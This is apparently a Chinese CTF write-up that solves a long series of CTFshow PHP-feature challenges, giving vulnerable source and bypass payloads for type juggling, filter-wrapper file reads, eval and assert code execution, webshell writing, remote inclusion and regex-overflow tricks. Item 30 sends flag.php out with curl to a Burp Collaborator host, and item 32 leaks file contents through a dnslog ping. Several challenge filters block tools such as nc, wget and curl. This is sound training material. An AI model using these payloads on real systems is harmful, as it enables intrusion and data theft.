CTFshow(php特性)

1.

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

知识点

preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1

/?num[]

2.

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

运用了三个等号

可以使用+4476

也可以用八进制十六进制绕过 intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里===表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c

还可以用4476#

在URL中,#符号通常用于标识页面内的锚点(例如,页面内的某个位置)。在PHP中,$_GET数组只包含?之后的部分,不包括#以及其后面的内容。因此,?num=4476#中的4476#部分不会被$_GET['num']捕获,而$num将只包含4476,从而绕过了第一个条件检查。

3.

正则表达式中$的意思

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $。
PHP 正则表达式(PCRE) preg_match 函数用于执行一个正则表达式匹配

<?php

//by Firebasky

show_source(__FILE__);

//error_reporting(0);

include('flag.php');

$a=$_GET['cmd'];

if(preg_match('/^php$/im', $a)){

if(preg_match('/^php$/i', $a)){

echo 'hacker';

}

else{

echo $flag;

}

}

else{

echo 'nonononono';

}

?>

对于正则表达式/^php$/im,它的含义是:

  • ^: 匹配输入的开始。
  • php: 匹配字母序列 "php"。
  • $: 匹配输入的结尾。
  • /im: 是模式修饰符,i 表示匹配时不区分大小写,m 表示多行模式。

漏洞点

apache2.40~2.4.29版本中存在这个漏洞

使用我们在看一看正则表达式中$的意思

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $。

所以如果设置RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)

所以使用%0a绕过,前面加一个%0a后面加一个%0a

4.


include("flag.php");

highlight_file(__FILE__);

if(isset($_GET['num'])){

$num = $_GET['num'];

if($num==="4476"){

die("no no no!");

}

if(preg_match("/[a-z]/i", $num)){

die("no no no!");

}

if(!strpos($num, "0")){

die("no no no!");

}

if(intval($num,0)===4476){

echo $flag;
}


if(!strpos($num, "0"))代表查询是否有零,并返回零第一次出现的位置,如果没有0则为false

那么恒成立所以必须有零,如果第一位是0的话,则返回零,所以第一位不能是0

那么可以在开头加一个空格绕过

也可以加一个.0进行绕过

由于intval是整形所以4476.0可以绕过

5.


highlight_file(__FILE__);
if(isset($_GET['u'])){

if($_GET['u']=='flag.php'){

die("no no no");

}else{

highlight_file($_GET['u']);

}
}

payload:u=./flag.php

?u=php://filter/read=convert.base64-encode/resource=flag.php

6.

include("flag.php");

highlight_file(__FILE__);

if (isset($_POST['a']) and isset($_POST['b'])) {

if ($_POST['a'] != $_POST['b'])

if (md5($_POST['a']) === md5($_POST['b']))

echo $flag;

else

print 'Wrong.';

}

?>


get新姿势

php检查两数组是否相等的时候,不会检查指针是否相等,而是会检查元素是否

md5对数组无法加密只会返回false

所以进行绕过

hackbar发送post
a[]=1&b[]=2

7.

include("flag.php");

$_GET?$_GET=&$_POST:'flag';

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
 

get到新姿势点

三目运算,这个能看出来,无非转化为ifelse不影响做题

php中的引用函数 变量的引用赋值: $a = &$b

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

8.

highlight_file(__FILE__);

$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){

file_put_contents($_GET['n'], $_POST['content']);

}
?>
0x36d等于877

array_push——往数组尾部插入元素

rand(1,$i)——随机生成1-877之间的数

//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字

in_array——搜索数组中是否存在指定的值:

in_array(search,array,type)

search为指定搜索的值

array为指定检索的数组

type为TRUE则 函数还会检查 search的类型是否和 array中的相同

综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag

9.

highlight_file(__FILE__);

include("ctfshow.php");

//flag in class ctfshow;

$ctfshow = new ctfshow();

$v1=$_GET['v1'];

$v2=$_GET['v2'];

$v3=$_GET['v3'];

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>


姿势点

=优先级高于and

所以v1的作用是作为一个true的数字来写入的

也就是写入个大于0的数字

v2的话没有什么限制直接执行语句就是了

v3随便来个字符

payload:v1=4&v2=var_dump($ctfshow)&v3=;

v1=4&v2=system(%27tac%20ctfshow.php%27)/*&v3=*/;

/**/为注释掉里面内容

之后得到的flag不能用

吧0x2d换成-

AAuncode

10.

highlight_file(__FILE__);

include("ctfshow.php");

//flag in class ctfshow;

$ctfshow = new ctfshow();

$v1=$_GET['v1'];

$v2=$_GET['v2'];

$v3=$_GET['v3'];

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

if($v0){

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){

eval("$v2('ctfshow')$v3");
}
}
}
?>
由于涉及了类,可以利用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

?v1=1&v2=echo new Reflectionclass&v3=;

11.

highlight_file(__FILE__);

$v1 = $_POST['v1'];

$v2 = $_GET['v2'];

$v3 = $_GET['v3'];

$v4 = is_numeric($v2) and is_numeric($v3);

if($v4){

$s = substr($v2,2);

$str = call_user_func($v1,$s);

echo $str;

if(!preg_match("/.*p.*h.*p.*/i",$str)){

file_put_contents($v3,$str);

}

else{

die('Sorry');
}

}

else{

die('hacker');

}

?>
 :

v2首先得是数字这样v4为true一眼看出来了

之后v2从第二位开始截取字符串,那么只需要随便在开头写了个字符就可以了

到了v1,call_user_func首先是调用函数名,之后是调用函数所进行得函数值

那么就是对v2进行解码,但是要求v2必须全是数字

那么就是hex16进制转码

之后把输出得结果输入进v3

那么v3得是构造好的网页

所以v2的话就好构造了

传个马上去webshell一连就getshell了

根据eval执行也可以调用tac

v3的文件名还必须得自己构造

那么可以通过伪协议构造

也可以直接用插件判断用的是php和nginx

16进制写入v2的话可以带e

因为e是科学计数根

如果根据伪协议的话那么还得再对v2进行一次编码再用伪协议解码出来

tac(<?=`tac *`;):v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-

decode/resource=1.php

POST:v1=hex2bin

12

highlight_file(__FILE__);

include("flag.php");



if(isset($_POST['v1']) && isset($_GET['v2'])){

$v1 = $_POST['v1'];

$v2 = $_GET['v2'];

if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。


13.

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
如果你通过GET请求传递了参数 x=flag,那么在 foreach 循环中,$key 将会是 'x',而 $value 将会是 'flag'。然后,$$key=$$value; 将被解释为 $x=$flag;。
if(!($_POST['flag']==$flag))

  • 这个表达式使用了逻辑非运算符 !,它的作用是取反。也就是说,如果 $_POST['flag']==$flag 为 false,那么 !($_POST['flag']==$flag) 就为 true;反之亦然。
  • 如果 $_POST['flag'] 不等于 $flag,也就是用户提交的 flag 不正确,那么 !($_POST['flag']==$flag) 就为 true,接下来就会执行 die($error);。

所以我们要把$error=$flag=$x

所以要把x=error即可

payload GET: ?x=flag POST: error=x

14.

highlight_file(__FILE__);

include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){

$v1 = $_POST['v1'];

$v2 = $_GET['v2'];

if(sha1($v1)==sha1($v2) && $v1!=$v2){

echo $flag;

}

?>

简简单单

payload ?v2[1]=1 post:v1[1]=2


15.


highlight_file(__FILE__);

error_reporting(0);

include("flag.php");



if(isset($_POST['v1'])){

$v1 = $_POST['v1'];

$v3 = $_GET['v3'];

parse_str($v1,$v2);

if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
 

v2没有用,直接设置为false=v3数组的false,v1给个数字即可

所以不需要填写v2

至于

parse_str($v1,$v2);函数

举个例子

$v1 = "name=John&age=25&city=NewYork";
parse_str($v1, $v2);

在这个例子中,$v2 将会变成一个关联数组,其内容如下:

php
$v2 = array(
    'name' => 'John',
    'age' => '25',
    'city' => 'NewYork'
);

了解即可

但根据这个特性可以延伸出新解法

我们只要满足v3的md5等于v2[flag]即可。可以传递给v3任意值,然后v1=flag=v3的md5值。

16.


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
 

首先绕过正则,那么就只需要带个字母,但

  • ^ 表示字符串的开头。
  • [a-zA-Z] 表示匹配一个字母,大小写不限。
  • + 表示匹配前面的字母至少一次。
  • $ 表示字符串的结尾。
  • 意味着匹配当前整个字符串字符

那么使用%00拦短正则

之后0x36d=877,字符串逆转为778,之后进行匹配,前面带个a移植末尾

intval 会忽略非数字字符后的部分。所以,实际比较的是 0x36d 和 877

17.

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
 

用匿名类绕过

?v1=class{ public function __construct(){ system('ls'); } };&v2=a

18.


highlight_file(__FILE__);

error_reporting(0);

if(isset($_GET['v1']) && isset($_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];



if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){

die("error v1");

}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());")
}
?>
 

php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

getcwd()函数 获取当前工作目录 返回当前工作目录

payload: ?v1=FilesystemIterator&v2=getcwd

19.

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>

把v2设置一个$GLOBALS:全局变量,包含所有的变量,V1=ctfshow进行正则绕过,之后$$v1=$$v2则$ctfshow=$GLOBALS,再进行var_dump($$v1);即可


20.

highlight_file(__FILE__);

error_reporting(0);

function filter($file){

if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

die("hacker!");

}else{

return $file;

}

}

$file=$_GET['file'];

if(! is_file($file)){

highlight_file(filter($file));

}else{

echo "hacker!";

}
 

1.is_file():判断参数是否为文件
绕过:使用伪协议绕过并且读取;
2.伪协议:
	1.php://filter/read=convert.base64-encode/recource=flag.php;//base64编码读文件;
	2.php://filter/resource=flag.php //直接读文件;
	支持伪协议的函数:
		1. highlight_file()
		2.file_get_contents()
		3.file_put_contents()

payload:?file=php://filter/resource=flag.php

compress.zlib://flag.php

21.

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";

}

在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36

函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符%0c==\f,%09,%20都可以让is_numeric()函数为true;

22.

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
 

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

$c=$_POST['fun'];:从 POST 请求中获取名为 'fun' 的参数,并将其值赋给变量 $c。这个参数可能是用户输入的内容,用于后续的代码执行。

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

23.

error_reporting(0);

highlight_file(__FILE__);

include("flag.php");

$a=$_SERVER['argv'];

$c=$_POST['fun'];

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

/?1=flag.php



24.

error_reporting(0);

highlight_file(__FILE__);

include("flag.php");

$a=$_SERVER['argv'];

$c=$_POST['fun'];

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){

eval("$c".";");

if($fl0g==="flag_give_me"){

echo $flag;
}
}
}


姿势点


1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']

paayload

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($_SERVER['QUERY_STRING'])

这段代码将 CTF_SHOW 和 CTF[SHOW.COM 设置为空字符串,然后使用 assert($_SERVER['QUERY_STRING']) 执行 assert 函数,其中传递的参数是 $_SERVER['QUERY_STRING']。

在网页模式下,$_SERVER['QUERY_STRING'] 包含了从 URL 中获取的查询字符串。在你的代码中,它被直接传递给了 assert 函数。

这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。因为 assert 函数用于执行字符串中的 PHP 代码。

25.


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}

php在解析查询字符串时,它会做两件事:

删除空白符

将某些字符转换为下划线(包括空格)

还有以下字符等同于ctf_show

+ _ [ . 转换成下划线

GET:?ctf show=ilove36d

26.
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

gettext(message)。 ```。 其中,message是要翻译的字符串。如果该字符串存在翻译,则返回翻译后的字符串。如果不存在翻译,则返回原始字符串

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=_&f2=get_defined_vars

这种省略括号的语法是从 PHP 5.4 版本开始引入的,主要是为了提高代码的可读性和简洁性。在使用时,可以选择加上括号或者省略括号,两者都是合法的语法形式。

 

26.

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
 

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) 所以payload必须得带有ctfshow

if(stripos($f, 'ctfshow') > 0):使用 stripos 函数检查变量 $f 中是否包含子字符串 'ctfshow'(不区分大小写)。

方法一 payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag

方法二 ?f=http://url/xxx.txt?ctfshow 远程文件包含,在自己的服务器上写一个一句话,保存为txt格式

方法三 f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php 伪协议

27.


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
 

使用正则表达式 preg_match('/.+?ctfshow/is', $f) 检查变量 $f 是否包含 'ctfshow' 子字符串,忽略大小写。如果匹配成功,输出 'bye!' 并终止脚本。

使用 stripos($f, 'ctfshow') === FALSE 检查变量 $f 中是否包含 'ctfshow' 子字符串,如果不包含,输出 'bye!!' 并终止脚本

既然不能是子字符串,那么可以是字符串,直接传入ctfshow

28.

采用了正则溢出

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

正则表达式在一百万次之后会进行溢出,变成false

之后利用这个

可以直接写一个for循环遍历25万次的very

之后复制粘贴在36Dctfshow前面

也可以直接post传值传very36Dctfshow25万次

29.

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
    }
}


if(false && false || ture) 与”(&&) 运算 或”(||) 运算
 

30.

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令

**那为什么会这样?**

因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数

这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。

而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是

``$F`;+sleep 3`,就执行成功

这里可能有点绕,慢慢理解

然后就是利用curl去带出flag.php

curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

# payload

#其中-F 为带文件的形式发送post请求

#xx是上传文件的name值,flag.php就是上传的文件

?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

在这里插入图片描述所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag

31.

highlight_file(__FILE__);

$key1 = 0;

$key2 = 0;

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {

die("nonononono");

}

@parse_str($_SERVER['QUERY_STRING']);

extract($_POST);

if($key1 == '36d' && $key2 == '36d') {

die(file_get_contents('flag.php'));

}

考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d

32.

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

payload1

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn

payload2

?F=`$F`+;cp+flag.php+1.txt(?F=`$F`;+cp+flag.php+1.txt)

33.


<?php

error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
payload: ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK

34.


error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

考察: call_user_func()函数的使用

php中 ->与:: 调用类中的成员的区别

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法.

ctfshow=ctfshow::getFlag

35.

error_reporting(0);

highlight_file(__FILE__);

class ctfshow

{

function __wakeup(){

die("private class");

}

static function getFlag(){

echo file_get_contents("flag.php");

}

}

if(strripos($_POST['ctfshow'], ":")>-1){

die("private function");

}

call_user_func($_POST['ctfshow']);

call_user_func函数中的调用方式

strripos函数-计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

用call_user_func()来调用一个类里面的方法

call_user_func(array($classname, 'say_hello'));

这时候会调用 classname中的 say_hello方法

故而采用数组传值

ctfshow[0]=ctfshow&ctfshow[1]=getFlag


 

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值